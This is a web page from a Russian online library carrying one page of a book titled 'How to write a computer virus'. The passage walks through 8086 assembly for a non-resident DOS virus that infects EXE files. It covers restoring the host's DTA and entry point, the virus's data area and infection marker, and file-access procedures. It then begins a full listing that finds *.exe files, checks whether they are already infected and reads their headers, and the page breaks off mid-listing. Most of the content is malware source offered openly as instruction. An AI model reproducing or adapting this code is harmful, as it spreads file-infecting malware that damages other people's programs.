Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#12| Old Monk & Old Hero
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Коваль И. Весь текст 308.41 Kb

Как написать компьютерный вирус

Предыдущая страница Следующая страница
1 ... 7 8 9 10 11 12 13  14 15 16 17 18 19 20 ... 27
    начальный сегмент программы известен ( он хранится
    в регистре ES, которым мы не пользовались ),несло-
    жно найти адрес исходной DTA .Он равен ES : 80h .И
    поэтому :

    restore_dta:
               push ds                ;DS -> в стек
               mov ah,1ah             ;Восстановим
               mov dx,080h            ;адрес DTA зара-
               mov bp,es              ;женной програм-
               mov ds,bp              ;мы с помощью
               int 21h                ;функции DOS 1Ah
               pop ds                 ;DS <- из стека

    В этом фрагменте адрес DTA устанавливается с помо-
    щью функции DOS 1Ah ( см.ПРИЛОЖЕНИЕ 1).Новый адрес
    должен быть помещен в DS : DX,  что мы и сделали .
    Команда " push ds " записывает  в стек  содержимое
    регистра DS, так как этот регистр используется для
    задания адреса,и поэтому его значение будет испор-
    чено .


             1.12 Восстанавливаем точку входа

    Далее  необходимо  передать  управление зараженной
    программе ( конечно,  не только что зараженной,  а
    той, из которой стартовал вирус ) .Для этого нужно
    восстановить ее исходную точку входа,а также пере-
    ключить стек  с вирусной области  данных  на стек,
    предусмотренный разработчиком программы .
    Чтобы произвести все необходимые вычисления,мы ис-
    пользуем параметры заголовка программы,  сохранен-
    ные ранее в ячейках " my_XX " .
    При передаче управления на код вируса в регистр CS
    было  помещено  такое  значение : CS = NS0 + 10h +
    + Header [16h], и это значение нам  известно - оно
    сейчас находится в CS .С другой стороны, настоящая
    точка входа EXE - программы имеет сегментный адрес
    CS = NS0 + 10h + my_cs . Таким образом, достаточно
    узнать, чему равна сумма : NS0 + 10h,  и прибавить
    к ней " my_cs " .Такая же ситуация возникает и при
    восстановлении  регистра SS,  только здесь к NS0 +
    + 10h нужно прибавить " my_ss " .Проще всего  вос-
    становить регистр DS, поскольку при загрузке EXE -
    файла соблюдается условие : ES = DS = NS0.Для ини-
    циализации SP и IP можно просто записать в них чи-
    сла,хранящиеся в переменных " my_sp " и " my_ip ",
    не производя при этом каких - либо сложных  расче-
    тов .С учетом этих соображений можно записать :

               mov ax,my_ip
               mov old_ip,ax
               mov ax,my_cs
               mov old_cs,ax
               mov ax,my_16h
               mov to_16h,ax
               mov ax,my_sp
               mov sp,ax              ;Инициализируем
                                      ;регистр SP ...
               mov ax,cs              ;Найдем
               sub ax,to_16h          ;NS0 + 10h ...
               add my_ss,ax           ;Вычислим SS ...
               mov ss,my_ss           ;
               add ax,old_cs          ;Вычислим CS ...
               mov old_cs,ax          ;
               mov ax,es              ;Инициализируем
               mov ds,ax              ;регистр DS ...

               jmp $ + 2              ;Сбросим очередь
                                      ;процессора
               db 0eah                ;И перейдем к
    old_ip     dw 0                   ;исполнению
    old_cs     dw 0                   ;программы ...

    Команда перехода к исполнению программы записана в
    виде машинного кода,чтобы при необходимости ее мо-
    жно было модифицировать .
    И  еще - вы ,  вероятно,  помните,  что  символами
    " NS0 " мы обозначили начальный сегмент программы.


               1.13 Область данных вируса

    Приведем данные, которыми оперирует уже почти соз-
    данный нами EXE - вирус :

                                      ;Собственная DTA
                                      ;вируса
               new_dta       db   128 dup (0)

                                      ;Маска для поис-
                                      ;ка файла - жер-
                                      ;твы
               maska         db   '*.exe',0

                                      ;Буфер для хра-
                                      ;нения имени
                                      ;найденного
                                      ;файла
               fn            db   12 dup (' '),0

                                      ;Массив для хра-
                                      ;нения заголовка
               header        db   27 dup ( 0 )

               descrypt      dw   0   ;Ячейка для дес-
                                      ;криптора

               to_02h        dw   0   ;Эти ячейки ис-
               to_04h        dw   0   ;пользуются для
               to_16h        dw   0   ;хранения пара-
               my_ip         dw   0   ;метров заголо-
               my_cs         dw   0   ;вка заражаемой
               my_16h        dw   0   ;программы и
               my_ss         dw   0   ;той, из которой
               my_sp         dw   0   ;стартовал
               old_ss        dw   0   ;вирус
               old_sp        dw   0   ;
               f_seek_low    dw   0   ;В эти перемен-
               f_seek_high   dw   0   ;нные записывае-
                                      ;тся значение
                                      ;указателя

                                      ;Вирусный стек
               new_stack     dw   50 dup ( 0 )

               last          db   0   ;Сюда помещается
                                      ;последний байт
                                      ;заражаемого
                                      ;файла

                             db   '7' ;Последний байт
                                      ;вирусного кода


               1.14 Используемые процедуры

    Осталось только привести тексты процедур, которыми
    пользуется вирус,  и работа  почти закончена . Они
    выглядят так :

    setpointer proc                   ;Процедура уста-
	       mov ax,4200h           ;навливает  ука-
	       mov bx,descrypt        ;затель  в файле
	       int 21h                ;на заданный
               ret                    ;байт ...
    setpointer endp

    read       proc                   ;Процедура  чте-
               mov ah,3fh             ;ния из файла...
	       mov bx,descrypt
	       int 21h
               ret
    read       endp

    write      proc                   ;Процедура за-
               mov ah,40h             ;писи в файл ...
               mov bx,descrypt
               int 21h
               ret
    write      endp

    mover      proc                   ;Процедура умно-
               mov cx,04h             ;жения двойного
    left:      shl dx,1               ;слова CX : DX
               shl ax,1               ;на 16 методом
               adc dx,00h             ;сдвига ...
               loop left              ;
               ret                    ;
    mover      endp

    Приведенные процедуры очень просты  и довольно эф-
    фективны . Процедура " mover " ,  как уже  говори-
    лось,взята из книги П .Абеля " Язык ассемблера для
    IBM PC и  программирования ", естественно,без раз-
    решения автора .


                  1.15 Работа завершена

    Только что мы разработали вирусную программу,  за-
    ражающую EXE - файлы.Последний штрих - напишем не-
    сколько строк, почти стандартных для всех  ассемб-
    лерных программ :

                                      ;Длина вирусного
                                      ;кода в байтах
	       vir_len       equ  $-vir

    prg ends
    end vir


      1.16 Полный текст нерезидентного EXE - вируса

    Для  лучшего  понимания  всего  изложенного в этой
    главе приведем  полный текст написанной нами  про-
    граммы :

    ; ________________________________________________
    ;|                                                |
    ;| Non - TSR EXE virus                            |
    ;| Especially for my readers !                    |
    ;|________________________________________________|

    prg segment
       assume cs:prg,ds:prg,es:prg,ss:prg
          org 100h

    vir:       mov ax,cs              ;AX = CS ...
               db 2dh                 ;SUB AX,00h
    sub_ds     dw 0                   ;
               mov ds,ax              ;
               mov ss,ax              ;

               mov ah,1ah             ;Переключим DTA
	       lea dx,new_dta         ;на соответству-
                                      ;ющий массив в
               int 21h                ;области данных
                                      ;вируса ...

               mov ax,old_ip          ;Скопируем исхо-
               mov my_ip,ax           ;дные параметры
               mov ax,old_cs          ;заголовка зара-
               mov my_cs,ax           ;женной програм-
               mov ax,to_16h          ;мы в ячейки па-
               mov my_16h,ax          ;мяти " my_XX ",
               mov ax,old_ss          ;так как ячейки
               mov my_ss,ax           ;" old_XX ", в
               mov ax,old_sp          ;которых хранят-
               mov my_sp,ax           ;ся параметры,
                                      ;будут испорчены
                                      ;при заражении
                                      ;нового файла

    find_first:mov ah,4eh             ;Поиск первого
	       mov cx,00100110b       ;файла :
	       lea dx,maska           ;archive, system
	       int 21h                ;hidden ...
	       jnc r_3
	       jmp restore_dta

    find_next: mov ah,3eh             ;Закроем  непод-
               mov bx,descrypt        ;ходящий файл
	       int 21h
	       jnc r_2
	       jmp restore_dta

    r_2:       mov ah,4fh             ;Поиск следующе-
	       int 21h                ;го ...
	       jnc r_3
	       jmp restore_dta

    r_3:       mov cx,12              ;Очистим об-
	       lea si,fn              ;ласть " fn "
    kill_name: mov byte ptr [si],0
	       inc si
	       loop kill_name

               xor si,si              ;И перепишем
    copy_name: mov al,byte ptr new_dta[si + 01eh]
	       cmp al,0               ;туда имя най-
	       je open_file           ;денного файла
	       mov byte ptr fn[si],al
	       inc si
	       jmp copy_name

    open_file: mov ax,3d02h           ;Откроем файл
	       lea dx,fn              ;для чтения и
	       int 21h                ;записи ...
	       jnc found_size
	       jmp r_2

    found_size:mov descrypt,ax        ;Определим раз-
               mov cx,word ptr [new_dta + 01ch]
               mov dx,word ptr [new_dta + 01ah]
               sub dx,1               ;мер файла и вы-
               sbb cx,0               ;чтем из него
                                      ;единицу  ...
               call setpointer        ;Установим ука-
                                      ;затель на пос-
                                      ;ледний символ

    read_last: mov cx,1               ;Прочитаем
               lea dx,last            ;последний
               call read              ;символ ...
	       jnc compar
               jmp close_file

    compar:    cmp last,'7'           ;Это "семерка" ?
	       jne mmm                ;Нет
    to_next:   jmp find_next          ;Да ! Файл уже
                                      ;заражен, и надо
                                      ;искать другой

    mmm:       xor cx,cx              ;Установим ука-
               xor dx,dx              ;затель на нача-
               call setpointer        ;ло файла ...

               mov ah,3fh             ;И считаем инте-
	       mov bx,descrypt        ;ресующую нас
               mov cx,27              ;часть заголовка
                                      ;в массив " hea-
                                      ;der " .Она как
Предыдущая страница Следующая страница
1 ... 7 8 9 10 11 12 13  14 15 16 17 18 19 20 ... 27
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (9)

Реклама